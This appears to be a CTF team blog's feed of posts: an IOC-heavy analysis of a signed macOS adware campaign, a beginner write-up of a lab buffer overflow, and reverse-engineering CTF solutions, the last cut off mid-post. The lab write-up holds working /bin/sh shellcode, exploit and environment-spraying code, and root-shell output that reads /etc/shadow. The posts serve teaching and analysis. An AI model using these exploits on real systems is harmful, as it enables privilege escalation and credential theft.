Uncategorized – BabyPhD CTF Team https://babyphd.net Nói chung đây là một khái niệm vô cùng trừu tượng Thu, 07 Sep 2017 08:22:09 +0000 en-US hourly 1 https://wordpress.org/?v=5.2.2 104079289 What is SafeFinder/OperatorMac campaign? https://babyphd.net/2017/08/10/wtf-is-safefinderoperatormac-campaign/ Thu, 10 Aug 2017 15:35:08 +0000 https://babyphd.net/?p=687 Continue reading What is SafeFinder/OperatorMac campaign? ]]>  

A new variant of adware was just discovered yesterday. It’s going viral on Twitter and other media, since they use valid Apple developer certificate to sign all packed samples. I’m quite overbusy these days but it got my interest when seeing the name stated in that certificate: “Quoc Thinh”, quite a unique Vietnamese name. So why not take a break from desperate thesis, toss adware in my lame automated MacOS analysis framework and see what our ‘countryman’ doing?

The sample was first noticed by Gavriel State‏ on Aug 7, then Thomas A Reed – the Mac malware boss hunter from Malwarebytes - confirmed it relates to OperatorMac on the next day. I think you all know the famous Mac free security tools’ author: Patrick Wardle, wrote an amazing report on objective-see.com in Aug 9. So I’m not going too deep in reverse engineering - static analysis, just throw in my Grey-cuckoo framework and grab results. In case somebody doesn’t know, it’s my thesis project and and soon to be released right after my judgment day - defense (hopefully).

From Patrick’s report we understand it’s an adware which installs lots of crabs. By default, cuckoo sandbox timeout is 120 sec. Let’s extend it a bit, 300 sec (5 min) would be enough.

First result we got, that Apple developer ID “Quoc Thinh”, and he got his certificate revoked from Apple today by the way 😄.

spctl -avv "Mughthesec-Player(dmg).dmg"
Mughthesec-Player(dmg).dmg: CSSMERR_TP_CERT_REVOKED

From captured screenshots, we can see what this adware apparently executes: Install Adobe flash and offer you a bunch of PUA (potential unwanted applications) – Booking, Advanced Mac Cleaner, SafeFinder Safari extension, and AdBlock (in some relevant samples that will be discussed later).

Behavioral analysis shows the packed DMG sample invoked a ‘mac’ binary, thereafter ‘Mughthesec’ with a persistence ‘I’ binary. Screenshots below already included other analysis variant of this campaign.

Move on to the network DNS feature, we see a lot of queries and some domains look "suspicious". Their DNS servers mostly are pointed to Akamai so I suggest we rather use domain as IOC than IP address, which could be different from viewers location. Filtering system calls logs with some rules of mine, there is no evasion technique been found. It’s quite surprising because Virustotal behavioral analysis shows a shorter execution trace than mine, which usually means its environment was detected at some point and malware stop running. In Patrick’s report he said there might be MAC address verification to detect VM (VM MAC usually starts with ’00:xx’). Fortunately, my VM framework MAC address was modified long ago since my colleague Yorick Koster at Securify used same trick to abuse my lame framework (thanks Yorick). I should add new rule – “MAC address check” later.

Additionally instead of execve(), MacOS sandbox policy usually invokes processes using XPCProxy or launchd services. So we got several processes created with posix_spawn(): delete Safari, iBooks, Mail cache (likely Advanced Mac cleaner doing its job), install mentioned PUAs and we got some new IOCs.

Other great things from Cuckoo sandbox are Network analysis and Dropped files. However previous report detailed it well enough, hence only some screenshots from these features will be showed:

Some dropped binaries like AMCleaner (93dd0c34a4ec25a508cd6d5fb86d8ccc0c318238d9fee0c93342a20759bf9b7e) already marked as malicious on VirusTotal (VT) 7/56, which could be an indication for vigilant users.

Also with some fancy nonsense statistic screenshots, intent to scare analyst (:p)

At this moment, we have got all indicators to make behavioral detection rule and go hunting for other similar adware samples. Reason why I call this blog post – “a campaign”: there are numerous similar packed DMG/Mac apps matched ‘my behavioral rule’: fake Adobe Flash installer, lots of PUAs from subdomain name [cdn, dl, api] and Vietnamese developer certificate ID.

 

Developer ID Number of Samples Detected (VT) Apple status First seen
Quoc Thinh

9G2J3967H9

 

6 1/6 (Ikarus detected 1 sample) Revoked ID 2017-08-05

 

Pham Huong

2BS26F3ZCP

7 0 Revoked ID 2017-07-15
Phan Anh

C7J9SJ95GX

24 0 Valid 2017-04-13
Nhien Nguyen 3 1/3 (ESET-NOD32 detected 1 sample) Valid 2017-08-09

 

Thanh Thuy WAA98JBA59 17 0 Valid 2017-07-06

 

Tran Phong GMFY4TULB3 6 0 Valid 2017-06-27

 

Minh Duc

7CXE5FM69W

5 0 Valid 2017-06-21
Mai Linh

M3XXTCHY66

3 0 Valid 2017-07-12
Total 71 2 (3%) 2/8 Revoked ID Staying undetected at least 4 months

 

Please note that VT score is an indicator only, people usually fail to judge hardworking AVs by looking at VT score. We can never know if AV would detect those adwares live running whether or not. Also instead of Mughthesec, other adware use different loader names such as SearchWebSvc, TrustedSafeFinder, etc. I don’t think OSX/Mughthesec would be appropriate for the adware name. I suggest it would be OperatorMac because all campaign packages call a simple loader “mac” binary.

Conclusion

Be vigilant, no one needs Flash nowadays it’s dead. Apple Mac is not virus-free even with those fancy Apple protection XProtect, GateKeeper, Mac sandbox, code signing, etc, many security researchers already warned.

It’s likely an affiliation advertising campaign, in which adware authors spent quite some money (~$800) for these 8 Apple developer certificates and only 2 of them are revoked. Some of dropped MachO executables are not signed, and we don’t know what if those can be really dangerous (like the unsigned MachO executable from APT32 Ocean Lotus campaign targeted Vietnamese organizations lately is really a sophisticated one). Based on timeline and periods of certificate registration, and money they have spent, I doubt these adware creators are making lots of money. Last, let me remind you some incidents happened recently and could be related to this campaign:

Phamus

P/S: I confronted one famous hacker in cyber pirate community – “Quoc Thinh” aka G4mm4, he seriously admitted he's behind the "crime". Not sure that’s true or he was just kidding 😏

IOCs:

appfastplay.com

Created

2017-04-08 New -none- 198.54.117.212
2017-04-23 Change 198.54.117.212 198.54.117.215
2017-07-07 Change 198.54.117.215 198.54.117.210

Namecheap domain hosting @ USA.

mughthesec.com

198.54.117.210

SimplyEApps.com
198.54.117.210

(api./dl./cdn.)dynacubeapps.com

198.54.117.210

(api./dl./cdn.)cloudmacfront.com

(api./dl./cdn.)api.airautoupdates.com

(api./dl./cdn.)osxessentials.com

(api./dl./cdn.)api.vertizoom.com

(api./dl./cdn.)macgabspan.com

install.searchwebsvc.com

install.trustedsafefinder.com

searc.trustedsafefinder.com/h?_pg=XXXX-1234-67890

searc.trustedsafefinder.com/s?q=@@@&_pg=XXXX-1234-67890

 

 

~/Library/LaunchAgents/com.Mughthesec.plist

~/Library/Application Support/com.Mughthesec

~/Library/LaunchAgents/SearchWebSvc.plist

~/Library/Application Support/SearchWebSvc

~/Library/LaunchAgents/TrustedSafeFinder

~/Library/Application Support/com.TrustedSafeFinder.plist

 

~/Library/LaunchAgents/com.pcv.hlpramcn.plist  (Advanced Mac Cleaner)

 

 

phan anh 4f62cc7e6f923ffd3d01de7ed47c3a62593e8c245bfc6cb81783a70fb821ca3c

9e72aea77562c7d85950076f8acef12580050d2bfd199de9500cd9a3cf18e5ba

04343158bd4942f25f8ff4e39c5bc21fa08b2e98c9f4dd3391f017667a47e59e

b31baed2592708d5fb8227fc7d18faa339f813ff1db1aa32580f54d0601b08f0

5afe86f9ec0764f53721452199383a0732d262b679356f4e5c716ca5710502c8

4dcde58b6bd4b415eae924b62b1f0ce4e0b8d11a714fbcf99c4da553a66751d7

08f2dfa3d011aa90fa90f2a2fabeb9aff72ad0acde01378f8126a3ab6ce61b41

7ceb92839c025760203fac5d0ad4ff63df9c92d409831b3536c99f0c7f0874c6

e0606875fb61db097f618b5e2ea9c140e3e5dff733ec3a30719af8452ca06aab

4b665b885db33498129a86b354f09b4067e51b7add4595cb231d0d0b7f8a8678

22ca8d75544d061d3e8b986b0af3dc2a462d9acfa29a4be5a5589fa51282dedb

0650ce68e2d3b1e9e53a72115f5da42120d6eff83a07aa309b1f04f11f55c1de

4f62cc7e6f923ffd3d01de7ed47c3a62593e8c245bfc6cb81783a70fb821ca3c

9e72aea77562c7d85950076f8acef12580050d2bfd199de9500cd9a3cf18e5ba

cf63d5861eb654efcafef25d758ca5daf877e3c63888ee086bcd29f22e3f77ad

04343158bd4942f25f8ff4e39c5bc21fa08b2e98c9f4dd3391f017667a47e59e

b31baed2592708d5fb8227fc7d18faa339f813ff1db1aa32580f54d0601b08f0

5afe86f9ec0764f53721452199383a0732d262b679356f4e5c716ca5710502c8

4dcde58b6bd4b415eae924b62b1f0ce4e0b8d11a714fbcf99c4da553a66751d7

08f2dfa3d011aa90fa90f2a2fabeb9aff72ad0acde01378f8126a3ab6ce61b41

8690299992e9a1d8bf1b5184a3274619eb6c95c44a83b42f7ee455b419947d5d

7ceb92839c025760203fac5d0ad4ff63df9c92d409831b3536c99f0c7f0874c6

e0606875fb61db097f618b5e2ea9c140e3e5dff733ec3a30719af8452ca06aab

f47246e7b4ae43d6aa284145292d67247d428d52f327c00a7f7af2dd65fb1c0b

4b665b885db33498129a86b354f09b4067e51b7add4595cb231d0d0b7f8a8678

22ca8d75544d061d3e8b986b0af3dc2a462d9acfa29a4be5a5589fa51282dedb

0650ce68e2d3b1e9e53a72115f5da42120d6eff83a07aa309b1f04f11f55c1de

52ac6206d109acb15547e8f655d1e522d28bbb39c9e40784126de5f27778f51c

cd9c564799f88ad6efae4bd5acb047d5f0d5b39378965386925c171eec3977b5

15d796bd76339a0fbb430bc8c6cc9bcbd6a21f3aef619d0cb81fe0069552a29d

99c598ef5fe10347803296d20a37fb6c33d793f35443725dbcfc41382dbd9391

34886986af88810585238c2ecf44924e48a08f775b25794e553689f0f2585899

12effeff2bc280d144bd1432f9bbfae2efaae483731d20b6f0b061e8be505a0c

3460877be00af3632895539567b57647ca1e07363213b4f93d52ac80b17454ee

79b54c71b74112881a8c4b88ad36a9bae4c2eecedcba510e2b4f52c215a9ebac

 

quoc thinh
9c4f74feff131fa93dd04175795f334649ee91ad7fce11dc661231254e1ebd84

f5d76324cb8fcae7f00b6825e4c110ddfd6b32db452f1eca0f4cff958316869c

63b9e81a0c3a57bcbaf2aac308ecc53035f7fff6a416a6752acf13f16352a94a

431c30c1db1aefb87d5fa5485c0fd11e792ec94bb95fb401cc93ef0528ad41cb

687def9ff3cd0fa8dab1a7d4da5fa04b0604292fa74a66f23a96fb1eb31cd2c2

 

pham huong

af1e6391dd48f84beac69fbd69dbbb20eefd7ca69d33c686ed4d5a85ba760254

7ce4d0ec31dc334388d2461b65617ba5dbdebf935da2ed2a7d65d8a9cc14148c

f995bd07e5f782cf823b45d226c63407695d4a1bfb06358f49621291f1629f60

a2bd399d8087752776762fa9a805429de6973994f26e17bdac9ca4130dcb87fb

bafe800c397e69e9e6859311c437e5c4b6cdd200f3ed832306e6c9f331eb6bae

 

nhien nguyen

3028aa7ece2f140f6fa28d348bf18156e6e4da4cb2f9208925d15ca7b564f35f

fc89afe4f72c3e02dca3e998351e59684f5ad6a9000c9f2eaee3b7195d4f0fda

 

minh duc

17f39a0268ec97cf5528bcc9d871c7f7b428379a2549c3b01581440acd7ed8a5

79e821bab2adbdb9a53e471b7a1937c8f0a1ba1ce0801b8d2eca49a7c9391e42

dfc0b3618a3eb246ae6026c460596a102f45ff71660f7fdec39c5f105a3190cd

90d825d481297def07771865a5e719c4e55ed1109008721744608bf94841d7cc

 

tran phong

8c1b1b2b997a11d8b408091e12d02960bf71bb83304a3b23c439056c4e9882ad

9acb781d19d6ed4c6ac6e10448d113fca868bba21f95496f535013005fe2d29e

f159c3dc2aa704d42a07f145985fa7b339cbd4bcdf7ff9783220b9dd3a9e097e

a1dc898586e1697bd19d6c6ec8421e1871ac918132bcbcf89db9b523e199664d

e537d868f9ab708e3c5a8427dd4036798570b7d6b55b3ef0e1be9775e64e9c9d

f7468d3af9267e9a6325fb981a5bd734dafeea32265d0318cb4793bd1b52f112

 

mai linh

 

c7c11ae9fdaeef0c359621de06d4de5264cc3d62929d5e8a1e2c3d2c08290e2f

202d7e5bd230c59051d5c21124e9af613f70576f3511a0a79c567f48844e5b45

 

thanh thuy

6494a2bd4e9da2f3000b0774a13682a3f9fcd17e7da8d0fd42bfa88d1dce14f5

aa556a1b27356c35be3890f7c6f022c431d48ff7b5c15b2a0586609b15e5d5f6

f86b4d24627d5dc9d806a3f89c03aea19aaa987bcedb44fc5635140bf9191d03

387dddd9bb34fb1fa697f4f5c208ad425e14f6a37e943a3ddf73cca12356054b

086ad9c053fc3a670db2954b120733ba97109e1eb845ca383e88d2623289ae66

da329f9a9b2ea505fb5ffb4a8d08ff8755b3c960ce84c342c50ab7e808c835b5

22179b6701cf203abfa94eee9152495d409bcb9f5293fb5aa87fe342f7285a18

a60503e089b805ca7b99186c1b4014bbca98655eadd615f911a7379708b0405a

b3be9a9b5b6cd97815a1a2a5c14713b761b664e195a6e1384219a701ccc12036

22179b6701cf203abfa94eee9152495d409bcb9f5293fb5aa87fe342f7285a18

a60503e089b805ca7b99186c1b4014bbca98655eadd615f911a7379708b0405a

da329f9a9b2ea505fb5ffb4a8d08ff8755b3c960ce84c342c50ab7e808c835b5

22179b6701cf203abfa94eee9152495d409bcb9f5293fb5aa87fe342f7285a18

387dddd9bb34fb1fa697f4f5c208ad425e14f6a37e943a3ddf73cca12356054b

5b4703281a185e81113b303277e546c5f87ae599fba4565932a2638b3d40b41f

da329f9a9b2ea505fb5ffb4a8d08ff8755b3c960ce84c342c50ab7e808c835b5

5b4703281a185e81113b303277e546c5f87ae599fba4565932a2638b3d40b41f

5b4703281a185e81113b303277e546c5f87ae599fba4565932a2638b3d40b41f

b3be9a9b5b6cd97815a1a2a5c14713b761b664e195a6e1384219a701ccc12036

aa556a1b27356c35be3890f7c6f022c431d48ff7b5c15b2a0586609b15e5d5f6

a60503e089b805ca7b99186c1b4014bbca98655eadd615f911a7379708b0405a

da329f9a9b2ea505fb5ffb4a8d08ff8755b3c960ce84c342c50ab7e808c835b5

 

]]>
687
Writeup for beginners - BoF Vulnerability Lab (Syracuse University) https://babyphd.net/2016/03/12/writeup-for-beginners-bof-vulnerability-lab-syracuse-university/ https://babyphd.net/2016/03/12/writeup-for-beginners-bof-vulnerability-lab-syracuse-university/#comments Sat, 12 Mar 2016 16:02:46 +0000 https://babyphd.net/?p=486 Continue reading Writeup for beginners - BoF Vulnerability Lab (Syracuse University) ]]> Visitors sometimes feel bored with our web blog because of too many boring stuffs which not often appear in their casual work/study. I just want to post such a simple tutorial for beginners and if you are experienced in CTF's pwn then just skip it. Enjoy!

Reference: BoF Vulnerability Lab (Syracuse University)

Return to Shellcode
===================

The program stack.c has 2 functions: main() and bof() which has a buffer overflow vulnerability. Main function reads an input from a file called “badfile”, and then passes this value to function bof(). The original input can have a maximum length of 517 bytes, but the buffer in bof() has only 24 bytes long. Buffer overflow will occur because strcpy() does not check boundaries. Since this program is super-uid executable, if a normal user can exploit this buffer overflow vulnerability, any user might be able to execute shellcode under root privilege. It should be considered that the program gets its input from a file called ’badfile’, system environment variables and argument variables. They are under our control hence there are many approaches to spawn a root shell.
Some conditions in the first task are described as following:

- The vulnerable program was compiled with chmod 4755 under
root permission.

- It was built with options: execstack and -fno-stack-protector to
turn off the non-executable stack and StackGuard protections.

- ASLR was turned off.

Inside the function bof(), the buffer variable is defined as an array of 24 chars. It can be easily overflowed with a longer string str which reads from “badfile”. However, the defined variable on stack depends along both operating system and the compiler. Result of GDB will help us to make sure the size of stack certainly:
(gdb) disas bof
Dump of assembler code for function bof:

0x08048484 <+0>: push ebp
0x08048485 <+1>: mov ebp,esp
0x08048487 <+3>: sub esp,0x38
0x0804848a <+6>: mov eax,DWORD PTR [ebp+0x8]
0x0804848d <+9>: mov DWORD PTR [esp+0x4],eax
0x08048491 <+13>: lea eax,[ebp-0x20]
0x08048494 <+16>: mov DWORD PTR [esp],eax
0x08048497 <+19>: call 0x8048380 <strcpy@plt>
0x0804849c <+24>: mov eax,0x1
0x080484a1 <+29>: leave
0x080484a2 <+30>: ret

 

The buffer variable’s size is 32 bytes according to line 13 and also 32 bytes to reach Stack pointer and plus 4 bytes to reach saved Based pointer. In order to spawn a shell, execve /bin/sh shellcode was generated and placed into badfile after some NOPs (\\x90) . The return address is unknown and also it is a difference between GDB environment and the real-time one. It can be revealed by using:

- Live program tracing (strace/ltrace).

- Modifying the source code.

- Brute-forcing the return address.

- GDB debugging with dumped core (segmentation fault).

We chose the first solution because the second one is unrealistic, the third and fourth one would take much effort.

seed@ubuntu:~/Desktop$ ltrace ./stack
__libc_start_main(0x80484a3, 1, 0xbffff434, 0x8048520, 0x8048590 <unfinished ...>
fopen("badfile", "r") = 0x804b008
fread(0xbffff187, 1, 517, 0x804b008) = 40
----snippet----

The buffer variable which reads from badfile has address: 0xbffff187. In sum, we construct a payload combined from NOPs, shellcode, ESP (or a random 4bytes), return address 0xbffff187 in little-endian format to an exploitation program called exploit.py which writes the payload to “badfile”:

 

import struct
shellcode= "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"
f = open('badfile','w')
ret = struct.pack('<I', 0xbffff187)
f.write("\x90"*(0x20-len(shellcode))+shellcode+"DEAD"+ret)

 

We launch the attack by running the vulnerable program and spawn a root shell successfully.

[12/01/2015 15:25] seed@ubuntu:~/Desktop$ python exploit.py
[12/01/2015 15:25] seed@ubuntu:~/Desktop$ ./stack
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare),130(wireshark),1000(seed)
# cat /etc/shadow
root:$6$012BPz.K$fbPkT6H6Db4/B8cLWbQI1cFjn0R25yqtqrSrFeWfCgybQWWnwR4ks/.rjqyM7Xwh/pDyc5U1BWOzkWh7T9ZGu.:15933:0:99999:7:::

 

Address Randomization
=====================

There are some conditions in the second task as following:

- The vulnerable program was compiled with chmod 4755 under root permission.

- It was built with options: execstack and -fno-stack-protector to turn off the non-executable stack and StackGuard protections.

- ASLR was turned on.

The above exploitation program was not working and resulted “Segmentation fault (core dumped)” because ASLR was turned on that
assures the program addresses are changed randomly for each execution. There are some techniques to bypass this prevention:

- Brute-forcing or running the exploitation program many times

- Return-oriented programming (or using a branch of this technique: ret2libc)

However the “badfile” input can have a maximum length of only 517 bytes but the observed buffer could be any addresses ranged from 0xbf000000 to 0xbfffffff. It makes the attack difficult to jump into the shellcode exactly even when we fill the whole “str” variable upto 517 bytes with a larger number of NOPs and shellcode placed behind the return address. In order to increase the probability of success, we can utilize an environment variable to hold a larger payload. The following code loads ten thousand bytes of NOPs and shellcode into environment variable EGG.

/* eggcode.c */
#include <unistd.h>
#define NOP 0x90
char shellcode[] =
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80";
int main(void)
{
char shell[10000];
puts("Eggshell loaded into environment.\n");
memset(shell,NOP,10000); /* fill-up the buffer with NOP */
/* fill-up the shellcode on the second half to the end of buffer */
memcpy(&shell[10000-strlen(shellcode)],shellcode,strlen(shellcode));
/* set the environment variable to */
/* EGG and shell as its value, rewrite if needed */
setenv("EGG", shell, 1);
/* modify the variable */
putenv(shell);
/* invoke the bash */
system("bash");
return 0;
}

 

We simply executed the program above then attempted ./stack in the following loop and spawn a root shell in just a minute.

$ sh -c "while [ 1 ]; do ./stack; done;"
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
---snippet---
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
Segmentation fault (core dumped)
# id
uid=1000(seed) gid=1000(seed) euid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare),130(wireshark),1000(seed)

 

Stack Guard
===========

The following options describe the conditions of third task:

- The vulnerable program was compiled with chmod 4755 under root permission.

- It was built without the option -fno-stack-protector to turn on the Stack Guard.

- ASLR was turned off.

For this task, we executed the exploitation program again and observed an error message:

seed@ubuntu:~/Desktop$ ./stack
*** stack smashing detected ***: ./stack terminated
Segmentation fault (core dumped)

 

The reason of this error is a protection mechanism used by compiler to detect buffer overflow occurs. It adds random protection variables (called canaries or stack cookies) to the stack. We can get some information about the point of overflow insight by running the program in GDB. For instance, the disassembly of bof() function is different from the previous one:

(gdb) disas bof
Dump of assembler code for function bof:
0x080484d4 <+0>: push ebp
0x080484d5 <+1>: mov ebp,esp
0x080484d7 <+3>: sub esp,0x48
0x080484da <+6>: mov eax,DWORD PTR [ebp+0x8]
0x080484dd <+9>: mov DWORD PTR [ebp-0x2c],eax
0x080484e0 <+12>: mov eax,gs:0x14
0x080484e6 <+18>: mov DWORD PTR [ebp-0xc],eax
0x080484e9 <+21>: xor eax,eax
0x080484eb <+23>: mov eax,DWORD PTR [ebp-0x2c]
0x080484ee <+26>: mov DWORD PTR [esp+0x4],eax
0x080484f2 <+30>: lea eax,[ebp-0x24]
0x080484f5 <+33>: mov DWORD PTR [esp],eax
0x080484f8 <+36>: call 0x80483d0 <strcpy@plt>
0x080484fd <+41>: mov eax,0x1
0x08048502 <+46>: mov edx,DWORD PTR [ebp-0xc]
0x08048505 <+49>: xor edx,DWORD PTR gs:0x14
0x0804850c <+56>: je 0x8048513 <bof+63>
0x0804850e <+58>: call 0x80483b0 <__stack_chk_fail@plt>
0x08048513 <+63>: leave
0x08048514 <+64>: ret
End of assembler dump.

 

The compiler firstly moves a random value to stack at address , and compares these 2 values by using XOR in the end of this
function. If the value in stack is modified then the program will jump to the function stackchkfail() which notifies an error message “stack smashing detected” eventually. This means if our program overwrites the whole stack and tries to illegally control the stack pointers will make it halted. There are some techniques to bypass the Stack Guard : leak the value of canaries or overwrite the entire stack all the way up to the arguments and environment vectors but the stack cookie check would not working properly. Moreover please take a look at this paper.

 

-cmxd

]]>
https://babyphd.net/2016/03/12/writeup-for-beginners-bof-vulnerability-lab-syracuse-university/feed/ 1 486
CSAW 2015 CTF All Exploitable Solutions (Script only) https://babyphd.net/2015/09/21/csaw-2015-ctf-all-exploitable-solutions-script-only/ https://babyphd.net/2015/09/21/csaw-2015-ctf-all-exploitable-solutions-script-only/#comments Mon, 21 Sep 2015 02:45:25 +0000 https://babyphd.net/?p=359 I'm too lazy to write up in deep these challenges, but i will give you my solution to solve these challenges. You will do it by yourself before you read my exploit script, that makes you understand deeper. I hope you enjoy with this. Happy pwnning.

1119

]]>
https://babyphd.net/2015/09/21/csaw-2015-ctf-all-exploitable-solutions-script-only/feed/ 1 359
[HackIM 2014] RE + Pwn MentalNote https://babyphd.net/2015/01/13/hackim-2014-re-pwn-mentalnote/ Tue, 13 Jan 2015 01:58:34 +0000 https://babyphd.net/?p=259 Continue reading [HackIM 2014] RE + Pwn MentalNote ]]> RE 100 - boo

binary khá nặng

C:\Users\chim\Desktop\nullcon\re\boo>trid boo

TrID/32 - File Identifier v2.10 - (C) 2003-11 By M.Pontello

Collecting data from file: boo
100.0% (.) Mac OS X Mach-O 64bit Intel executable (4000/1)

=> Mac OS Binary kernel Mach 64 bit

Check string 1 tí thì thấy UPX 3.91!. Ok thử decompress nào

C:\Users\chim\Desktop\nullcon\re\boo>upx -d boo
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2013
UPX 3.91w       Markus Oberhumer, Laszlo Molnar & John Reiser   Sep 30th 2013

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
upx: boo: NotPackedException: not packed by UPX

Unpacked 0 files.

Failed!

Check lại string lần nữa để ý thấy cái zlib.so, struct.so, python ME... nghi ngờ thể loại python->bin quá.

Find header PYZ => founded :yolo:

boo_3

Ok easy roài, extract data python ra thôi - Link

import sys

if len(sys.argv) == 13:
	print "Great: flag{g3771ng_st4rt3d_2015}"
else:
	print "."

-------------------------------------------------------------------------------------------------------

RE 200 - upx.exe

string thử chả thấy cái UPX! signature nào @@. decompress lại cho chắc failed nốt.

upx_1

Run

upx_2

OK boy let's make it nicely!

Bật IDA Disass thấy đây là 1 binary MS C++ bình thường.

main là winMain -> sau đó call hàm sub_4001000

int __stdcall wWinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPWSTR lpCmdLine, int nShowCmd)
{
    sub_401000();
    return 0;
}

void *__cdecl sub_401000()
{
    void *result; // eax@1
    void *MZ_header; // ecx@1
    int v2; // ecx@4
    int v3; // ebp@4
    int v4; // esi@4
    int v5; // ebx@4
    const char *v6; // edi@5
    unsigned int v7; // edi@9
    int v8; // ebx@9
    HANDLE v9; // eax@9
    void *v10; // esi@9
    unsigned int v11; // eax@10
    HANDLE v12; // eax@12
    int v13; // ebx@12
    SIZE_T v14; // [sp+0h] [bp-28h]@1
    int v15; // [sp+4h] [bp-24h]@14
    int v16; // [sp+8h] [bp-20h]@14
    int v17; // [sp+Ch] [bp-1Ch]@14
    int v18; // [sp+10h] [bp-18h]@14
    int v19; // [sp+14h] [bp-14h]@14
    SIZE_T v20; // [sp+18h] [bp-10h]@14
    int v21; // [sp+1Ch] [bp-Ch]@14
    int v22; // [sp+20h] [bp-8h]@14
    int v23; // [sp+24h] [bp-4h]@14

    result = GetModuleHandleW(0);
    MZ_header = result;
    v14 = (SIZE_T)result;
    if ( result )
    {
        result = (void *)'ZM';
        if ( *(_WORD *)MZ_header == 'ZM' )
        {
            result = (char *)MZ_header + *((_DWORD *)MZ_header + 15);
            if ( *(_DWORD *)result == 'EP' )
            {
                v2 = *((_WORD *)result + 10);
                v3 = *((_WORD *)result + 3);
                v4 = 0;
                v5 = (int)((char *)result + v2 + 24);
                if ( v3 > 0 )
                {
                    v6 = (char *)result + v2 + 24;
                    while ( 1 )
                    {
                        result = (void *)strcmp(v6, ".reloc");
                        if ( !result )
                            break;
                        ++v4;
                        v6 += 40;
                        if ( v4 >= v3 )
                            return result;
                    }
                    v7 = *(_DWORD *)(v5 + 40 * v4 + 16);
                    v8 = v5 + 40 * v4;
                    v9 = GetProcessHeap();
                    result = HeapAlloc(v9, 8u, v7 + 1);
                    v10 = result;
                    if ( result )
                    {                                           // malloc, copy hex sang cho malloc 6600
                        unknown_libname_41(result, v14 + *(_DWORD *)(v8 + 12), *(_DWORD *)(v8 + 16));
                        v11 = 0;
                        if ( v7 )
                        {
                            do
                                *((_BYTE *)v10 + v11++) ^= 0x11u;
                            while ( v11 < v7 );
                        }
                        v14 = *(_DWORD *)v10;
                        v12 = GetProcessHeap();
                        result = HeapAlloc(v12, 8u, v14);
                        v13 = (int)result;
                        if ( result )
                        {
                            result = (void *)sub_406660((int)((char *)v10 + 4), (int)result, v7 - 4, (int)&v14);
                            if ( !result )
                            {
                                v18 = 0;
                                v15 = 0;
                                v16 = 0;
                                v17 = 0;
                                v21 = 0;
                                v22 = 0;
                                v23 = 0;
                                v20 = v14;
                                v19 = v13;
                                LOBYTE(v18) = 1;
                                sub_401B60((int)&v15);
                                ExitProcess(1u);
                            }
                        }
                    }
                }
            }
        }
    }
    return result;
}

đầu tiên nó gọi hàm getModuleHandle để tìm base address của MZ Header
sau đó check MZ signature và PE signature ::for sure::

upx_3

find session .alloc

upx_4upx_6

var A = heapalloc(0x6600)

đến đoạn unknown_libname_41 này vì mình rất ghét cái gì cứ dấu giếm, và 1 phần nhác trỗi dậy. function thông thường của mscrt thôi nên xem các tham số truyền vô và kết quả trả về để đoán vậy (memcpy)

memcpy(0x41b00, A, 0x6600)
for i in range(0x6600):
	A[i] ^= 0x11

*một đoạn memory khá dài, lại còn bị mã hóa nữa. không thể nào là flag cipher được? Có lẽ nào là shellcode?

new_size = *(dword*)A = 0xbe00
var B = heapalloc(new_size)
sub_406660( &new_size ) => copy MZ_Header -> đến B, size = 0xbe00

upx_5

Từ đây ta nhảy vào sub func cuối là sub_401b60

Check các sub phụ, để ý các string mình thấy rất là liên quan

[+] Mapping PE file
[+] Creating Map View of File
[+] Map View of File created
[+] Checking for self relocation
[+] MyBase, MySize ?!?
[+] Jumping to relocated image
[+] Processing IAT
[+] Loading Library and processing
[+] Fixing Image Base address in PEB
[+] Executing Entry Point !!!

và 1 số function khá vãi

- CreateFileMappingW
- MapViewOfFile
- VirtualAlloc
- GetProcAddress
- VirtualQuery
- LoadLibraryA
- VirtualProtect

oke, tít đi ít! run shellcode chắc roài ::bem::

ta đặt breakpoint ở ngay các sub con và run lần lượt đến khi nào shell được chạy thì phát hiện điểm G

upx_7

sub_401b60 -> sub_401600 -> call eax
new entry point =  08001563

sài HxD (hex editor) view ram process upx.exe tại địa chỉ đó thì thấy nguyên session từ 0x08000000 -> 0x0800FFFF là 1 file PE mới,

search string thì thấy có dòng "You didn't ask nicely" và đặc biệt là "-pl34se-give-me-th3-k3y" :-ss

tới đây các bạn có thể extract ra 1 file exe mới và disass nghiên cứu (ko chắc là sẽ chạy đc ok), còn mình thì thấy nó có dạng 1 file ms c++ nữa nên so sánh structure với cái PE gốc để tìm addr winMain

địa chỉ 0x08001100

quá trình dịch cũng tương tự, bài mới này cũng không quá khó.

st = command_line_string
st[len(st)-1] = \x00

if st[len(st)]==\x20:
	if !strcmp(st, "-pl34se-give-me-th3-k3y"):
		func_flag()
		exit()
msgbox("You not nicely");

patch luôn cho lẹ, patch luôn chỗ strcmp và trong func_flag (0x08001000) có 1 chỗ gọi isDebuggerPresent (0x08001024)

upx_8

upx_9

Done.

----------------------------------------------------------------------------------

RE 400 - fin64

ubt64@ubt64-vb:/media/sf_Desktop/nullcon/re/fin64$ file fin64
fin64: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=0x9b62a9678a30ce6c576131024148154a0bc5575d, stripped

khi chạy và thử nhiều cách input, đều có kết quả "Not yet.."

ubt64@ubt64-vb:/media/sf_Desktop/nullcon/re/fin64$ ./fin64
Not yet..

main khá ngắn, ta dịch lần lượt
để ý, có 2 cái good_boy và bad_boy trong hình

fin64_1

đầu tiên là func_systime
gọi syscall 0xc9 để lấy timestamp sao đó lưu giá trị vào [rbp-18h]

fin64_2

func_ctime - convert timestamp thành giá trị giây:phút:giờ:ngày:tháng:năm => lưu vào [rbp-10h]

fin64_3

dừng ở đây, jump ngược từ good_boy và bad_boy ta thấy có đoạn sử dụng [rbp-10h]

fin64_4

